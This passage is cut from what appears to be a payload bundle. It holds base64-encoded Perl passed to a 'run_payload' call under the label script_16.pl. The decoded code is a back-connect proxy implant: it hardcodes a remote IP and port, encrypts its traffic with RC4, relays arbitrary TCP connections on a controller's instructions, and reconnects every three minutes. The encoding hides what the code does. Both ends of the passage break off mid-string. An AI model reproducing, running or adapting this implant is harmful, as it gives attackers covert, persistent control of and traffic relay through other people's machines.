kcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_16.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTY1JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V